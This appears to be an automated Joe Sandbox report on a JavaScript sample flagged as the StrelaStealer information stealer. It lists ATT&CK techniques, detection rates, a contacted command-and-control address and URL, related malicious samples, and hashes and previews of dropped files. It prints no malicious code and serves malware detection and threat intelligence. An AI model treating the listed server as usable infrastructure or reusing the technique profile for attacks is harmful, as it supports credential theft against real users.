Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10323218772870612560.js	13%	Virustotal		Browse
10323218772870612560.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.2722101826.0000021911C00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
http://schemas.mi	svchost.exe, 00000009.00000002.2722247140.0000021911C57000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1484915557.0000021911AD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1483353804.00000292466F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/n	net.exe, 00000007.00000003.1480782825.0000029246722000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1483440806.0000029246722000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589068
Start date and time:	2025-01-11 09:07:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10323218772870612560.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 3.219.243.226, 172.202.163.200, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:08:21	API Interceptor	21x Sleep call for process: powershell.exe modified
03:08:24	API Interceptor	1x Sleep call for process: net.exe modified
03:08:25	API Interceptor	2x Sleep call for process: svchost.exe modified
03:08:32	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021904233138706
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAK:RJE+Lfki1GjHwU/+vVhWqpz
MD5:	D9D5C4974B2496EE2917EB9D0A5478DD
SHA1:	0FA535FCBE66CC4C3C7AD8D9DF96CE91747707D1
SHA-256:	2E8C1511FA58F229AB2EA198599C2D53AE4F78B11E0A91F7D01284FD3C2C9384
SHA-512:	295B6D673CB12594153B931D3999963EF541BB684BA71169BB8E03C71C0161728D79A819F1A28E02140A535A0C6B6F069B22F9EC2585E32AA1A38822806D8B61
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x93822e24, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433119512030341
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	06EC0BDD24380270060432D0DC3D5483
SHA1:	F778152C78A46FF3EE4ABC92FF73BD56643063F7
SHA-256:	673E97AC0432E4B5871263C5BA7FDB328D7A0393C8D17ED5538E7EE4B89EA289
SHA-512:	3145F8DCD93FA01B90A8D7E7D81E6AD7A2F36F10BB1A05E39C41E7D0B378190CCBAAD54C28C0986A1EBCAA4195C63EF478BFE7B47B4541D6952FCB68C3FC64E0
Malicious:	false
Preview:	...$... ...............X\...;...{......................0.x...... ...{s......}y.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................o......}.....................9.....}y..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08111530499409275
Encrypted:	false
SSDEEP:	3:8OUYeIloGsl/nqlFcl1ZUllllmGkxNallGBnX/l/Tj/k7/t:8lzWNsl/qlFclQ/lYGkxo254
MD5:	9C88601DF06C4C58213EB47D60E916E9
SHA1:	EB05CE408A99AAA670879EC5E563F7763E6CAC66
SHA-256:	972A5C09D3EE1B1EA2E9C3AD16B0C74BA9737CAA14125357F811F3099F990F6F
SHA-512:	CE542C470C2AEDF3600449E5AFA32383B428C3A5EEF44E63D01D5000404E33F8CFA435DAAD7716862CBB6A5E2FBAB329715CE4305E0A75A36D6F653541EB1206
Malicious:	false
Preview:	<........................................;...{.......}y.. ...{s.......... ...{s.. ...{s.P.... ...{s....................9.....}y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.19318385688825
Encrypted:	false
SSDEEP:	6:iOlAOq2PCHhJ2nKuAl9OmbnIFUtHGZmwp6kwOCHhJ2nKuAl9OmbjLJ:7zvBHAahFUtm/Y56HAaSJ
MD5:	2C7F23C8E2AAE03F24289551DBE53BE1
SHA1:	5C6C1A60FC0D319098BAE55019F4F5BF7A2DA1BC
SHA-256:	AA8AB784CDAB3F18182C779DF3841E87D9D28B0294EFBC6A598B11CF7385C5E8
SHA-512:	5297943B5A2BE218BE109B24CD39E95A98113BEA9122F708FAEE8CCEB0609089C0264B529A8DB89469EA163A75D509FC6BDF47938F7FDA55C1A530EF2D8D697F
Malicious:	false
Preview:	2025/01/11-03:08:24.833 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:08:24.835 720 Recovering log #3.2025/01/11-03:08:24.835 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.19318385688825
Encrypted:	false
SSDEEP:	6:iOlAOq2PCHhJ2nKuAl9OmbnIFUtHGZmwp6kwOCHhJ2nKuAl9OmbjLJ:7zvBHAahFUtm/Y56HAaSJ
MD5:	2C7F23C8E2AAE03F24289551DBE53BE1
SHA1:	5C6C1A60FC0D319098BAE55019F4F5BF7A2DA1BC
SHA-256:	AA8AB784CDAB3F18182C779DF3841E87D9D28B0294EFBC6A598B11CF7385C5E8
SHA-512:	5297943B5A2BE218BE109B24CD39E95A98113BEA9122F708FAEE8CCEB0609089C0264B529A8DB89469EA163A75D509FC6BDF47938F7FDA55C1A530EF2D8D697F
Malicious:	false
Preview:	2025/01/11-03:08:24.833 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:08:24.835 720 Recovering log #3.2025/01/11-03:08:24.835 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.154213672560704
Encrypted:	false
SSDEEP:	6:iOly5eq2PCHhJ2nKuAl9Ombzo2jMGIFUtH5yZmwp5+kwOCHhJ2nKuAl9Ombzo2jz:7ZvBHAa8uFUt4/y56HAa8RJ
MD5:	B6FA25565995004854489BA50D2C367D
SHA1:	6402AB292DFDC16966E95A7CCDF36704CD84E0C5
SHA-256:	DF4C23A4403F3FB644DD24F540357348493E345501FC6A608F8B12AC0FDE0008
SHA-512:	89D6F9639EBF84DFC8025A58DE3C1D41C89A972D3D5D07ED21C7BFBA7465DCD3374B0BD2ECF39998D86B341943C45459D74352631EDE0AD09D43F0DDBCABDB95
Malicious:	false
Preview:	2025/01/11-03:08:24.989 e80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:08:24.990 e80 Recovering log #3.2025/01/11-03:08:24.990 e80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.154213672560704
Encrypted:	false
SSDEEP:	6:iOly5eq2PCHhJ2nKuAl9Ombzo2jMGIFUtH5yZmwp5+kwOCHhJ2nKuAl9Ombzo2jz:7ZvBHAa8uFUt4/y56HAa8RJ
MD5:	B6FA25565995004854489BA50D2C367D
SHA1:	6402AB292DFDC16966E95A7CCDF36704CD84E0C5
SHA-256:	DF4C23A4403F3FB644DD24F540357348493E345501FC6A608F8B12AC0FDE0008
SHA-512:	89D6F9639EBF84DFC8025A58DE3C1D41C89A972D3D5D07ED21C7BFBA7465DCD3374B0BD2ECF39998D86B341943C45459D74352631EDE0AD09D43F0DDBCABDB95
Malicious:	false
Preview:	2025/01/11-03:08:24.989 e80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:08:24.990 e80 Recovering log #3.2025/01/11-03:08:24.990 e80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d9220ee-f2b2-48f0-8ffe-83c6bbc7f01b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9f3bad72-3e37-42ab-9a9c-08d639f5f802.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.950908693752171
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqssBdOg2Hqcaq3QYiub6P7E4TX:Y2sRdsgdMHF3QYhbS7n7
MD5:	298971F30E69C8D3CD4CA631BF40F27C
SHA1:	7CF67B4F11536096B3C9094661A75438FDBBBBFC
SHA-256:	9DBC5944DE6145BA14E94A6174A8EFD983B1FA274B7719EE49BDB01323631170
SHA-512:	7AB5E1013FD3CD0EB4433C0805FE08BEFC9F322C89FD62DFBD3E5F9DBC39D6C22629790EA9FBB1079B0FFE1CF35BCF7711BB2169191FA8D984EDAC5D33C7A727
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142916699881","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125462},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5d2602.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.238153667167481
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bkUpsAiIP:S43C4mS7fFi0KFYDjr3LWO3V3aw+bkUX
MD5:	FD78148DE0137D5621969AF04992EA31
SHA1:	558FE0796307BFF27F62CDCE5F6D2D0BB340AC7A
SHA-256:	5B751A499B768D42091B74DB1BA8EE5ABF668FC81E8EE23CFEA482E5D1559F0B
SHA-512:	AF194D47D2DEFC6A69053405C945709BE75BB10B3609DB3F90349221917BE72E1BF85A23F855FE1B9FC43E1807F44C4692A6CAC8994337FFDFAFDA79EBF7F1EA
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.157498874843188
Encrypted:	false
SSDEEP:	6:iOl2eq2PCHhJ2nKuAl9OmbzNMxIFUtHuZmwpqkwOCHhJ2nKuAl9OmbzNMFLJ:7tvBHAa8jFUtO/M56HAa84J
MD5:	C2302C109DD630952474848213D07824
SHA1:	A688AAB9A47D89E29A99BC1BDBF3105EE19D1F01
SHA-256:	BA75D8C880A4BA3F640E3DA703B3237330DB69F5BDF44C19F38278FCB57852D0
SHA-512:	18CEDD8AF0F6230A1235544F5846334B559B48346497DB3425CBEA0D5AADB5B89F015372AB8AA20F041DE573D4A8769CA1C0545311AC3794723A04A97B86F391
Malicious:	false
Preview:	2025/01/11-03:08:25.261 e80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:08:25.423 e80 Recovering log #3.2025/01/11-03:08:25.485 e80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.157498874843188
Encrypted:	false
SSDEEP:	6:iOl2eq2PCHhJ2nKuAl9OmbzNMxIFUtHuZmwpqkwOCHhJ2nKuAl9OmbzNMFLJ:7tvBHAa8jFUtO/M56HAa84J
MD5:	C2302C109DD630952474848213D07824
SHA1:	A688AAB9A47D89E29A99BC1BDBF3105EE19D1F01
SHA-256:	BA75D8C880A4BA3F640E3DA703B3237330DB69F5BDF44C19F38278FCB57852D0
SHA-512:	18CEDD8AF0F6230A1235544F5846334B559B48346497DB3425CBEA0D5AADB5B89F015372AB8AA20F041DE573D4A8769CA1C0545311AC3794723A04A97B86F391
Malicious:	false
Preview:	2025/01/11-03:08:25.261 e80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:08:25.423 e80 Recovering log #3.2025/01/11-03:08:25.485 e80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
